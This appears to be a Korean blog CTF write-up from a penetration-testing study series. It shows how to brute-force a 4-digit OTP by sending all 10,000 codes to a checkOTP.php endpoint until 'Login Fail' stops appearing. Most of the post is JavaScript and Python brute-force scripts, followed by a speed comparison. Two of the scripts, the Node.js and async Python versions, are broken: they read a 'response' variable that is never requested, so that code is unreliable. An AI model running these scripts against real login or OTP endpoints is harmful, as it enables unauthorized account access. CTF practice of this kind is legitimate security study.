이번 문제는 PIN 번호를 크랙 하는 문제이다.
사이트에 접속하여 Login버튼을 누르면
해당 화면이 출력되는데 input 값에 숫자 4자리를 입력하고 Enter을 누르면
해당 출력값이 나온다. 이를 활용하면 otpNum에 4자리 수를 Login Fail문구가 뜨지 않을 때까지 무작위로 집어넣으면 될 것이다.
먼저 JavaScript로 코드를 작성해 보면
const controller = new AbortController(); // AbortController 인스턴스 생성
const { signal } = controller; // AbortSignal 가져오기
let shouldStop = false; // 요청 중단 플래그
for (let i = 0; i <= 9999; i++) {
const otpNum = String(i).padStart(4, '0');
fetch("url주소/checkOTP.php?otpNum=" + `${otpNum}`, { signal }) // AbortSignal 전달
.then(response => response.text())
.then(data => {
if (!data.includes("Login Fail")) {
console.log(`Success with OTP: ${otpNum}`);
shouldStop = true; // 성공 시 중단 플래그 설정
controller.abort(); // 요청 중단
}
})
.catch(error => {
if (error.name !== 'AbortError') {
console.error('Error:', error);
}
});
}
더보기
// node.js로 실행
const controller = new AbortController(); // AbortController 인스턴스 생성
const { signal } = controller; // AbortSignal 가져오기
import fetch from 'node-fetch'; // ESM 방식으로 가져오기
async function fetchOtp(otpNum) {
return await response.text();
}
async function main() {
for (let i = 0; i <= 9999; i++) {
const otpNum = String(i).padStart(4, '0');
try {
const data = await fetchOtp(otpNum); // OTP 요청
if (!data.includes("Login Fail")) {
console.log(`Success with OTP: ${otpNum}`);
controller.abort(); // 요청 중단
break; // 성공 시 루프 종료
}
} catch (error) {
console.error('Error:', error);
}
}
}
main(); // 메인 함수 실행
해당 코드를 구글 콘솔에 작성 후 실행하면
콘솔창에 값이 나오고 Burp Suite도 확인해 보면 해당 값에서 멈춰서 더 이상 로직이 돌지 않는 걸 확인해 볼 수 있다.
위에 코드를 Python으로 변환시켜 보면
import requests # HTTP 요청을 위한 requests 라이브러리 임포트
def fetch_otp(otp_num):
# 주어진 OTP 번호로 서버에 GET 요청을 보내고 결과를 반환하는 함수
response = requests.get(f"url주소/checkOTP.php?otpNum={otp_num}")
return otp_num, response.text # OTP 번호와 서버 응답 텍스트를 튜플로 반환
def main():
# 0000부터 9999까지의 OTP 번호를 생성하여 fetch_otp 함수에 매핑
for otp_num, data in map(fetch_otp, (str(i).zfill(4) for i in range(10000))):
print(otp_num)
# 서버 응답에서 "Login Fail"이 없으면 성공으로 간주하고 출력
if "Login Fail" not in data:
print(f"Success with OTP: {otp_num}")
break # 성공 시 루프 종료
if __name__ == "__main__":
main() # main 함수 실행
더보기
// 비동기 처리
import asyncio
import aiohttp
async def fetch_otp(session, otp_num):
try:
data = await response.text()
return otp_num, data
except Exception as e:
return otp_num, None # 오류 발생 시 None 반환
async def main():
async with aiohttp.ClientSession() as session:
tasks = []
for i in range(10000):
otp_num = str(i).zfill(4)
tasks.append(fetch_otp(session, otp_num))
for task in asyncio.as_completed(tasks):
otp_num, data = await task
if "Login Fail" not in data:
print(f"Success with OTP: {otp_num}")
break
if __name__ == "__main__":
asyncio.run(main())
이렇게 작정할 수 있고 이를 실행해 보면
출력창에 값이 나온다.
콘솔창에 값이나 출력창에 값을 위의 input에 넣어주면
플래그값을 확인할 수 있다.
후기
- JavaScript와 Python 코드 두 개를 작성하여 실행해본 결과, 비동기 처리에도 불구하고 JavaScript는 값이 출력되기까지 약 1분이 소요되었고, Python 코드는 약 30초가 걸렸다. 이후 JavaScript 코드를 Node.js 환경에서 실행하고, Python 코드를 비동기 처리한 결과, Python은 10초, JavaScript는 20초 정도 소요되었다.
- JavaScript와 Python 코드 둘 다 비동기 처리와 서버에서 돌아가는데도 차이가 나는 이유는 Python에서 비동기 작업을 수행하기 위해 사용하는 asyncio와 aiohttp 라이브러리가 비동기 I/O 작업에 매우 효율적이며, 여러 요청을 동시에 처리하는 데 최적화되어 있다. 반면, Node.js에서 fetch를 사용하기 위해 node-fetch 라이브러리를 사용하는데, 이는 기본적으로 브라우저 환경에서 사용할 수 있도록 설계되었기 때문에 서버에서의 성능이 상대적으로 떨어질 수 있다.
- 이러한 결과를 통해 Python이 비동기 처리와 서버 작업에서 높은 효율성을 발휘하며, 많이 활용되는 이유를 알게 되었다.
728x90
반응형
'모의해킹 > 모의해킹 스터디' 카테고리의 다른 글
모의해킹 스터디 CTF 문제 - Login Bypass 1 (0) | 2024.11.22 |
---|---|
모의해킹 스터디 6주차 정리 (0) | 2024.11.21 |
모의해킹 스터디 CTF 문제 - Admin is Mine (0) | 2024.11.19 |
모의해킹 스터디 CTF 문제 - PIN CODE Bypass (0) | 2024.11.18 |
모의해킹 스터디 CTF 문제 - Get Admin (0) | 2024.11.18 |